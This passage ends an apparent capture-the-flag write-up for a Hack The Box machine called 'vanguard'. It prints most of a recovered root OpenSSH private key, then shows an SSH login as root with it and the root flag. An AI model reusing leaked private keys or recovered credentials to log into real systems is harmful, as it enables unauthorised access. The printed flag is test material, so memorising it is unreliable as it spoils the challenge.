xgo0uG6ozMOSfd3aypsU1E0VA4yl6cKrSBpqq/gaRMetX6dcIYTCJAG/7YA7SBgRAmi0Q9
a3VccQRBJWjMWNbNFSP8jkIGMaQwNKsl7xBBjEVVFjYvsbg4ZC5lXbRzQkWvdn5gt8BeyL
zXLdootdOlcOV5skEJdev5yisWr+BMh08pGJY+Gm7kUiYlVCdZOZMGfdZ6N9blGSKuhvQd
rUHAoICo6Yo8iNhJ8ZR5NDZIsr8RS4kCgeLx2dv4lPmky0dhHhYPcKuwn8n2IL3a9UniE+
Bhj7eK65kxIh0HrdPFwggZdEMAqJeM4mKgB/UtDu9JITf0+0qCSCrrTGhWlMALKNxfid4y
kNYf3DrBRpXYhqB/Xl1ERqm/09Z1ug2fiiWaWuGUUP0NcnixYEFchzMe6dvgK2m/TmDBGV
22J2l4Fd1S5WvOR9sj8GytW13LkMowAAAAMBAAEAAAGAEkqVH/M6ppVdc2WQffSYMoI++1
/yovcT/3yFjWiaI847V1p6q0BU91oi0ybEvTqiKuB0E1nw8ZGUR2WaLf8bhNYLSP6+pUON
MSROJsHaxpABb5n8lbMO6wUKZNiPm83E/ck2MtmEWfB26UQbKljmKIh3TSmX3ZiDsKd2M2
U++AzQYNtPBgyIDEgOLAgcTGNI1I480MjmNcwrTS6aKyHoUNjl0VWZfDr4TyNFQCWDmwMU
EYTukf3kvNsHJHnGNnyUNMSnXPJqGukmk0/pLuwVHTwqlSDr+CT+OJY3btFmoQ7UHwtoTB
c3uqzTlUN34cHbJPCBFz4+gb6feoOLzJR8UFo/dallmCjpyCzCMRZet9EOIVu6KIK8HAoe
2lZcNeiqryXvW0Lcn+GUUOkWgnMOCTRgWVg2OeDotlakE70xi+NF11xhl1OjHFU163OxZc
MLuYR2fJeMX3iXLFi2gaH0xFrtZkrnTWChkVPcJ/iSW2xG6//qgUitg+y3hDFm2AgBAAAA
wQCJsJoKAmW/we/qF/sEotDt4uphXdzAx9vjSAdtjfP8fq++laQHevvqx8uSss9yVLhNNd
NXhVp41MaMD4MSIQX8RIN5KgOlIUM9u5gjKV5auleAqooeqmIqSwIolF5NfGNmUUCgBPvL
farHMq9uDogervebRSj/EXwkhTQ5vg4PrlAhJ4WnfTFxZdvFYis9j9XuziF5URmsxF1h8u
V6jRjubec23Oj/Jmivq2exBkOpQPygYm2353v8u4xlqPbubJAAAADBALftb6nVeY6BVPN2
YvEJum6ZtmccO6dbwVLkQW8Qcyvaj7PhUXjLcluhHt+7dZuS/ac0IU+RK23q7O+nXxZzDE
04H4TsM5lAT9nbdvRFSHbhrd+qLwb/Rr3VThOIhb88kJnKIoxni3NxkP1SKzZ30DJfg7R+
jUgtMQWoVRRf2G0zEWdQrJoDBx7MV1ujPzoI+OyX26Fuoob/L9NXbbdcNhKVag+BXfYa3a
ZiziKPSe5dH8wn3u1/uS/PQog/7ac/IQAAAMEAthjn1l2NRkDGjwRLIKDX9Yvpk1idEram
wVq5HIBs1VSptTGjWv8vSz9IsBZPKbTHgBtZEUp2RzaeEz1HA0RDnI6MbfaqqmB4+3HegN
dJoI7UGMdtrE52WENK9oEMgLjuLqh5Cp2BpOXvTgcRwVBNNxkhZgGxwm1hfjv663Awgz0G
NDhejAJo6WKLqP97CgX3BYYlxJ2m9ukjsMveduzu3ka22+EeUp0qo4XSp+4EmLQNN6xNF9
Wf5ae3NyhwJadDAAAACXJvb3RAYXJjaAE=
-----END OPENSSH PRIVATE KEY-----
Root Flag
With root’s recovered private key, we SSH in as root and read the final flag.
ssh -i root_key [email protected]
Warning: Permanently added 'vanguard.htb' (ED25519) to the list of known hosts.
Last login: Mon Jul 17 23:14:01 2023 from 10.10.14.79
[root@vanguard ~]# cat root.txt
HTB{R3ad_bEtw3en_tHe_L1n3s}